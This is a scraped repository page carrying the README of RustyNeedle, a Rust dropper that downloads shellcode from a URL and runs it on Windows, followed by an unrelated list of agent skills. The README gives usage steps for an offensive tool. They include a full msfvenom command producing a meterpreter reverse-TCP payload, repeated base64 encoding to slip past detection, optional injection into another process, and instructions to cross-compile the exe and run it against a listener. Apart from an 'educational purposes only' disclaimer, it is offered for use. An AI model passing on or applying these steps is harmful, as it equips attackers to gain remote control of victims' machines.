Rustyneedle
A Rust-based dropper for shellcode payloads.
Install / Use
/learn @mttaggart/RustyneedleREADME
THIS REPO HAS BEEN ARCHIVED AND MOVED TO CODEBERG
RustyNeedle
THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY. I take no responsibility if you decide to do crimes with this code.
A simple dropper for shellcode that leverages the power of...base64 encoding??
No seriously. And it works. Here's how:
Usage
-
Create your shellcode however you like, be it with
msfvenomor other tools. Export the raw shellcode file. -
Use the encode.py script provided in this repository to create an encoded version of the shellcode.
python3 encode.py [SHELLCODE_FILE] [B64_ITERATIONS] [OUT_FILE]
Arguments
SHELLCODE_FILE: raw shellcode file to encodeB64_ITERATIONS: # of times to base64-encode the shellcodeOUT_FILE: Resulting text file of the encoded shellcode. NOTE: this will be many times larger than the source!IGNORE_SSL: Ignores SSL/TLS errors.
Alternative usage
If you don't want to use the script, you can also encode raw shellcode from msfvenom. It would go something like this:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw | base64 -w 0 > note.txt
# Pipe to base64 -w 0 as many times as you want to iterate the encoding
-
Edit the source code in
src/main.rsto reflect theURLwhere the encoded shellcode will be hosted. Make sureB64_TTERATIONSmatches what you created withencode.py. If you wish to use remote injection, change thePROCESS_NAMEvalue as well. -
Run
cargo build --target x86_64-pc-windows-gnu --release. If building on Linux for Windows, make sure you've added the Windows target triple withrustup target add x86_64-pc-windows-gnu. -
Copy the resulting exe in
target/x86_64-pc-windows-gnu/release/rustyneedle.exewherever you like. -
Set up any listeners, then execute the dropper!
Related Skills
node-connect
347.0kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
107.8kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
347.0kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
347.0kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
